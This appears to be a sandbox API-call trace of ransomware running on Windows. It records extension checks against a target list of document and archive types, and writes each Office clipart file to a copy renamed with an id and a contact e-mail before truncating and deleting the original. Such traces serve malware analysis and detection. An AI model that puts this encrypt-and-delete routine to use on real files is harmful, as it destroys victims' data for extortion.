	[0145.342] lstrlenW (lpString=".7z") returned 3
	[0145.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0145.342] lstrlenW (lpString=".dbf") returned 4
	[0145.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0145.342] lstrlenW (lpString=".1cd") returned 4
	[0145.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0145.342] lstrlenW (lpString=".jpg") returned 4
	[0145.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0145.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0145.342] lstrlenW (lpString=".doc") returned 4
	[0145.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.343] lstrlenW (lpString=".docx") returned 5
	[0145.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.343] lstrlenW (lpString=".pdf") returned 4
	[0145.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.343] lstrlenW (lpString=".xls") returned 4
	[0145.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.343] lstrlenW (lpString=".xlsx") returned 5
	[0145.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.343] lstrlenW (lpString=".ppt") returned 4
	[0145.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0145.343] lstrlenW (lpString=".zip") returned 4
	[0145.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.343] lstrlenW (lpString=".rar") returned 4
	[0145.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.343] lstrlenW (lpString=".bz2") returned 4
	[0145.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.343] lstrlenW (lpString=".7z") returned 3
	[0145.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0145.343] lstrlenW (lpString=".dbf") returned 4
	[0145.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0145.343] lstrlenW (lpString=".1cd") returned 4
	[0145.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0145.344] lstrlenW (lpString=".jpg") returned 4
	[0145.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.344] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0145.344] lstrlenW (lpString="FD00086_.WMF") returned 12
	[0145.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0145.986] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=29212) returned 1
	[0145.986] CloseHandle (hObject=0x51c) returned 1
	[0145.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220
	[0145.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0145.987] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.987] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0145.988] GetLastError () returned 0x0
	[0145.988] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x721c, lpOverlapped=0x0) returned 1
	[0146.316] WriteFile (in: hFile=0x540, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x7220, lpOverlapped=0x0) returned 1
	[0146.318] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.318] WriteFile (in: hFile=0x540, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.318] SetEndOfFile (hFile=0x540) returned 1
	[0146.501] CloseHandle (hObject=0x540) returned 1
	[0146.502] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.502] SetEndOfFile (hFile=0x51c) returned 1
	[0146.505] CloseHandle (hObject=0x51c) returned 1
	[0146.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0146.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1
	[0146.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0146.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0146.507] lstrlenW (lpString=".doc") returned 4
	[0146.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.507] lstrlenW (lpString=".docx") returned 5
	[0146.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.507] lstrlenW (lpString=".pdf") returned 4
	[0146.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.507] lstrlenW (lpString=".xls") returned 4
	[0146.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.507] lstrlenW (lpString=".xlsx") returned 5
	[0146.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.507] lstrlenW (lpString=".ppt") returned 4
	[0146.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0146.507] lstrlenW (lpString=".zip") returned 4
	[0146.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.507] lstrlenW (lpString=".rar") returned 4
	[0146.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.508] lstrlenW (lpString=".bz2") returned 4
	[0146.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.508] lstrlenW (lpString=".7z") returned 3
	[0146.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0146.508] lstrlenW (lpString=".dbf") returned 4
	[0146.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0146.508] lstrlenW (lpString=".1cd") returned 4
	[0146.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0146.508] lstrlenW (lpString=".jpg") returned 4
	[0146.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0146.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0146.508] lstrlenW (lpString=".doc") returned 4
	[0146.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.508] lstrlenW (lpString=".docx") returned 5
	[0146.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.508] lstrlenW (lpString=".pdf") returned 4
	[0146.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.508] lstrlenW (lpString=".xls") returned 4
	[0146.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.508] lstrlenW (lpString=".xlsx") returned 5
	[0146.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.508] lstrlenW (lpString=".ppt") returned 4
	[0146.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0146.508] lstrlenW (lpString=".zip") returned 4
	[0146.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.509] lstrlenW (lpString=".rar") returned 4
	[0146.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.509] lstrlenW (lpString=".bz2") returned 4
	[0146.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.509] lstrlenW (lpString=".7z") returned 3
	[0146.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0146.509] lstrlenW (lpString=".dbf") returned 4
	[0146.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0146.509] lstrlenW (lpString=".1cd") returned 4
	[0146.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0146.509] lstrlenW (lpString=".jpg") returned 4
	[0146.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.509] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0146.509] lstrlenW (lpString="FD00369_.WMF") returned 12
	[0146.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0146.510] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=8552) returned 1
	[0146.510] CloseHandle (hObject=0x51c) returned 1
	[0146.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220
	[0146.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0146.511] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.511] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0146.512] GetLastError () returned 0x0
	[0146.512] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2168, lpOverlapped=0x0) returned 1
	[0146.528] WriteFile (in: hFile=0x540, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2170, lpOverlapped=0x0) returned 1
	[0146.529] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.530] WriteFile (in: hFile=0x540, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.530] SetEndOfFile (hFile=0x540) returned 1
	[0146.530] CloseHandle (hObject=0x540) returned 1
	[0146.530] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.530] SetEndOfFile (hFile=0x51c) returned 1
	[0146.535] CloseHandle (hObject=0x51c) returned 1
	[0146.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0146.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1
	[0146.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0146.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0146.536] lstrlenW (lpString=".doc") returned 4
	[0146.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.536] lstrlenW (lpString=".docx") returned 5
	[0146.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.536] lstrlenW (lpString=".pdf") returned 4
	[0146.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.536] lstrlenW (lpString=".xls") returned 4
	[0146.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.536] lstrlenW (lpString=".xlsx") returned 5
	[0146.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.536] lstrlenW (lpString=".ppt") returned 4
	[0146.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0146.537] lstrlenW (lpString=".zip") returned 4
	[0146.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.537] lstrlenW (lpString=".rar") returned 4
	[0146.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.537] lstrlenW (lpString=".bz2") returned 4
	[0146.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.537] lstrlenW (lpString=".7z") returned 3
	[0146.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0146.537] lstrlenW (lpString=".dbf") returned 4
	[0146.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0146.537] lstrlenW (lpString=".1cd") returned 4
	[0146.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0146.537] lstrlenW (lpString=".jpg") returned 4
	[0146.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0146.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0146.537] lstrlenW (lpString=".doc") returned 4
	[0146.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.537] lstrlenW (lpString=".docx") returned 5
	[0146.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.537] lstrlenW (lpString=".pdf") returned 4
	[0146.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.538] lstrlenW (lpString=".xls") returned 4
	[0146.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.538] lstrlenW (lpString=".xlsx") returned 5
	[0146.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.538] lstrlenW (lpString=".ppt") returned 4
	[0146.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0146.538] lstrlenW (lpString=".zip") returned 4
	[0146.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.538] lstrlenW (lpString=".rar") returned 4
	[0146.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.538] lstrlenW (lpString=".bz2") returned 4
	[0146.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.538] lstrlenW (lpString=".7z") returned 3
	[0146.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0146.538] lstrlenW (lpString=".dbf") returned 4
	[0146.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0146.538] lstrlenW (lpString=".1cd") returned 4
	[0146.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0146.538] lstrlenW (lpString=".jpg") returned 4
	[0146.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.538] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0146.539] lstrlenW (lpString="FD00382_.WMF") returned 12
	[0146.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0146.539] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=8424) returned 1
	[0146.539] CloseHandle (hObject=0x51c) returned 1
	[0146.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220
	[0146.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0146.540] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.540] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0146.541] GetLastError () returned 0x0
	[0146.541] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x20e8, lpOverlapped=0x0) returned 1
	[0146.556] WriteFile (in: hFile=0x540, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x20f0, lpOverlapped=0x0) returned 1
	[0146.557] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.557] WriteFile (in: hFile=0x540, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.558] SetEndOfFile (hFile=0x540) returned 1
	[0146.558] CloseHandle (hObject=0x540) returned 1
	[0146.558] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.558] SetEndOfFile (hFile=0x51c) returned 1
	[0146.561] CloseHandle (hObject=0x51c) returned 1
	[0146.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0146.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1
	[0146.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0146.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0146.563] lstrlenW (lpString=".doc") returned 4
	[0146.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.563] lstrlenW (lpString=".docx") returned 5
	[0146.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.830] lstrlenW (lpString=".pdf") returned 4
	[0146.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.830] lstrlenW (lpString=".xls") returned 4
	[0146.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.830] lstrlenW (lpString=".xlsx") returned 5
	[0146.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.830] lstrlenW (lpString=".ppt") returned 4
	[0146.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0146.831] lstrlenW (lpString=".zip") returned 4
	[0146.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.831] lstrlenW (lpString=".rar") returned 4
	[0146.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.831] lstrlenW (lpString=".bz2") returned 4
	[0146.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
